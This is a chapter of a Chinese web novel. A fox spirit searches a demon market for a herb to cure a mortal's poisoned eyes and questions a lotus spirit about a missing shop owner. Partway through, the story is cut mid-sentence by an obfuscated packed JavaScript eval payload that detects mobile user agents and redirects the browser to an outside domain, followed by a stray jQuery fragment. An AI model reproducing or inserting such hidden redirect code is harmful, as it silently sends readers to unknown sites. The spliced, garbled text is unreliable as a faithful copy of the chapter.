15. 妖市寻药

作品:《失去妖心后和假道士破镜重圆

    昨日夜闯花月楼一事,看似情深义重的戏码,实则心怀鬼胎,谁都不是奔着解药去的。


    如今阿离手里拿着一块不知真假的浮生镜,平日里还要多分一份心思出来,以防某个道士偷盗。


    祁渊负伤归来,倒是给姜满这个半吊子神医出了道难题。


    “你这伤伤得奇怪,这人想必是个让你毫无防备之人,否则不会受伤,更不会伤到心脏。”


    “不过这人也没存杀心,要不然,你真的会回不来。”


    几枚银针稳稳扎在祁渊的穴道上,却始终未能安抚凌乱的内心。


    此时阿离就在屋子外边,绯红的发带时不时被风拍打在窗棂上,露出鲜活的影子。


    姜满手里有一本古籍,恰巧记了魔族之事,昨夜姜满翻找过后,寻到了解毒之法。而祁渊,却自作主张将此事隐了下来,转而听从阿离的建议,去花月楼藏宝阁寻解药。


    他知道阿离要去找浮生镜,所以设法跟随,让此举,成了两人间的第一道隔阂。


    ——互不信任。


    “现下这伤好治,毒就未必了,每半月毒发一次,算算时日,马上就会到毒发之日,若是寻不到灵瞳花,你这眼睛,得废。”


    九幽地冥蟒生于魔域,除一身能够将万物腐蚀的毒液,便只有一双可视万里、食人精魄的魔瞳值得一惧。


    这也是二人临走之时,一定要剜下眼睛的原因。


    古籍记,若人吞食九幽地冥蟒的内丹,可生魔瞳。但魔瞳得之不易,此间,需历劫一番苦楚。毒发之时,身心痛苦的人往往因为忍受不住而选择自我了断,或是剜下双眼。


    若是可以寻得灵瞳花,化解蛇毒,便是上上签。


    大门被猛然推开,阿离直闯了进来,携着满院梨花香,“我知道一个地方有灵瞳花。”


    ***


    妖族喜爱热闹,成日化形混迹在人群之中,久而久之,自然分辨不出这大街上哪个是妖、哪个是人。


    大家都藏好了气息,但免不了有心之人窥探。


    西街走过两个巷子口一拐,青石板路徐徐后退,直至面前出现了一个卖糖葫芦的老婆婆,两人才停下了步子。


    “来两串。”


    阿离从怀里掏出两枚好看的石头,其中一枚黑色的是在一棵千年老树下捡的,那老树年纪太大,不想化形,只一心将根盘旋在偶尔干巴偶尔湿润的土地里,另一枚是在河滩上捡的,潺潺流水旁,多的是那样透亮的石子。


    老婆婆将石子接过,放进钱袋里,最后眯了眯眼看向祁渊,沙哑的声音缓缓放出一个“嗯”的音节。


    老婆婆没给糖葫芦,红彤彤的糖葫芦妖市里遍地都是,她的糖葫芦是专门留给凑不齐铜板的小童的。


    “那阿婆看出我了?”祁渊在阿离身后跟得很紧,有些像依赖娘子的小夫君。


    祁渊没来过妖市,他记忆里的妖怪很喜欢迷路,更喜欢他,所以从不带他来,也告诉他不许来。


    “能守门的妖怪都是响当当的厉害,看出你是个凡人算什么?”


    看出我的身份才厉害呢……


    小妖怪颇有神采地想。


    “就到这儿吧,你去找灵瞳花的下落,找到了就离开。妖市这种地方不是你这个凡人可以顺便待的地方。”


    “你呢?”


    阿离:“我啊,我去给你寻位神医。真的神医,不似姜师兄那般的。”


    祁渊盯着阿离远去的背影,有些落寞。


    祁渊先前还会在心里问自己:


    她是真的不记得他了吗?


    还是假装的?在吊他的胃口?


    但慢慢地,他便知道了答案。


    因为她从前不会这样,但她也说过,下次见面,也许不会再喜欢他。


    分明是最不喜欢守诺的人,却偏要把一句随口的诺言守进坟墓里去。


    安稳安稳,到头来也不过是欺骗自己的把戏。


    二人分离在一个最常见的岔口。


    摆脱了难缠的道士,阿离绕过一条又一条如扬州城中大小的巷子,离奇的是她并未迷失方向,反倒是愈来愈欢快,如新生的稚鸟。


    “老板,可有花糕卖?”


    小狐狸嘴馋,绕过重重小巷只为这一口香喷喷的花糕。


    莲花清香阵阵,倒是出乎意料地与这满街香浊之气融合得恰到好处。


    花妖修为不过百年,算‘小辈’。


    有了生意,这只卖花糕的小花妖却依旧无精打采,只见她随意拿起一张牛皮方纸,打开比她高出半个头的蒸笼,将一块热腾腾的花糕放在方纸中央,随后很熟练地将其包成一袋。


    “给。”


    阿离无视她的举动,反倒是托着脸看她,问:“你知道,徐长梦是谁吗?”


    啪地一声,一袋花糕就这么落在地上。


    “徐大哥?”面前的小花妖愣住了,一双杏眼瞪得很圆,像是难以置信。


    阿离将落在地上的小方块捡起,抖了抖灰,语气平和地说道:“看来认识。”


    远道而来就是客,阿离径直走向小花妖身后的棚子里,随意地往长凳上一坐,扒开不算薄的牛皮纸,一块精致的花糕被她咬进嘴中,细细品味。


    小花妖落后两步跟进来,放下棚子上的破旧粗布,坐在了她的对面。


    阿离设下一个法术,隔开声音,然后再从袖中掏出一块透亮的绿叶令牌,塞进小花妖手里,“我是绿衣使者,阿离。现在可以好好与我说说了,徐长梦,究竟是谁?”


    狐狸的眼睛聪慧,也最易诱惑人心,小花妖被她直勾勾盯着心尖上发毛,支支吾吾地说道:“我叫阿朵,徐大哥,是花糕铺子的老板。”


    “他,只是个凡人。”像是下了某种决心,阿朵紧攥着身上的藕粉褶裙,将它揉出一团皱纹。


    “凡人?”


    “是。一个月前,徐大哥突然失踪了,就,就是那天,突然间,家里没人了,姐姐们也都不见了,只剩了我一个。”


    “起初我并没有在意,因为姐姐们通常会约好日子上山修炼两三月,我年纪尚小,总没跟着去。但,莲池里的荷花突然枯了!我这才知道了不对劲……”水灵灵的眼睛蓄满了眼泪,像湖水,清澈而悲伤。


    阿朵生长在扬州城里一处不起眼的莲池,她最迟化形,莲池里除了她还有九只莲花妖。


    莲池旁就是一间寻常的花糕铺子,铺子老板叫徐长梦,一个颇有文采的名字。


    有一天,莲花妖阿朵懵懵懂懂的闯进了铺子,懵懵懂懂的当着一个凡人的面化出妖形,就这样,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643546|156400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    徐长梦笑着将莲花妖扣了下来当长工,每天结十个铜板的工钱。一块花糕四枚铜板,十枚铜板可以吃到两块花糕,剩下两个,可以买一个惟妙惟肖的糖人。


    阿朵很开心,她觉得自己比所有妖怪都要开心,每天十个铜板,一个月就是三百个铜板,她可以买好多好多好吃好玩的东西,这是其他只知道泡在水里的莲花妖都得不到的。


    可一个月前,她的徐大哥失踪了,莲花池子里的莲花突然没了生气,阿朵再闻不见其他的莲花清香了。


    也就是这时,城里突然冒出了黄大仙渡劫失败的说法。


    神仙降罚,说要整个扬州城妖怪的命。


    妖怪们诚惶诚恐,装凡人的装起了病,不装凡人的只能跑来妖市,求一求守门人婆婆的庇护。


    多讨厌的黄大仙啊!


    “那封信呢?可是你写的?”


    阿朵怯生生地望进漂亮的眼睛,“是。”


    阿离:“全部都是吗?”


    单看眼前的小妖怪,显然是不知道内情的。


    但阿朵依旧笃定,“是的。”


    阿离将那封染过血的信拿出,面前的小妖怪不谙世事,因而惧怕那血红的真相,阿离贴心的将信纸摊开在阿朵面前,“认真看看,这真的全部都是你写的吗?”


    信中字迹工整娟秀,落笔中似乎还带着主人因年岁小而凸显出来的稚嫩,前半段写着与阿朵所说一般无二的悲惨遭遇,后半段却没了伤心的情绪,转而大义凛然地检举起花月楼的种种行径。


    而信件最后,却怪异的添上了徐长梦的名字。


    物件没有五官五感,它们的情绪大多是从主人身上汲取保存的。


    倘若有人刻意模仿,是否也能将另一份不安的情绪也模仿得惟妙惟肖?


    阿朵见了信中内容,脸上展露出了一片愕然。


    “是谁让你写的信?”


    会是谁,敢检举花月楼?


    “是一个凡人,他蒙着面,我不知道他是何模样,他只和我说,写求救信送去涂山,就可以救下整个扬州城的妖怪。还有,徐大哥。”


    “于是我写完信,便着急用树爷爷的信筒,将信送了出去。”阿朵口中的树爷爷,正是守卫扬州城的妖界使者,他活了将近万年,但却因为一个可笑的黄大仙传言,死在了城外山林,死在了这个他守了一辈子的地方。


    阿离安静地听着,心情复杂,手中的花糕早已吃完,只余一张薄纸。


    “凡人?怎么会是凡人呢?”好看的眉头紧锁,思绪凝重。


    “凡人!”外边一声稚童的喊声打断了阿离所有的思绪。


    “东街有凡人在闹事,我们快去看看吧!”


    凡人闹事?还以为是什么奇怪的事。


    “听说那人被五哥打了,还不还手……”


    “好惨啊。”另一稚童帮腔道。


    有什么惨的,活该!


    “我听说那凡人还是来要灵瞳花的……”


    ……


    灵瞳花?!


    “不仅如此,五哥还从那凡人身上摸出一堆黄符,可吓人了!”


    “大人?你……”话音未落,阿朵便看见方才还一本正经的大人此时如离弦之箭一般飞了出去。


    “阿离大人!”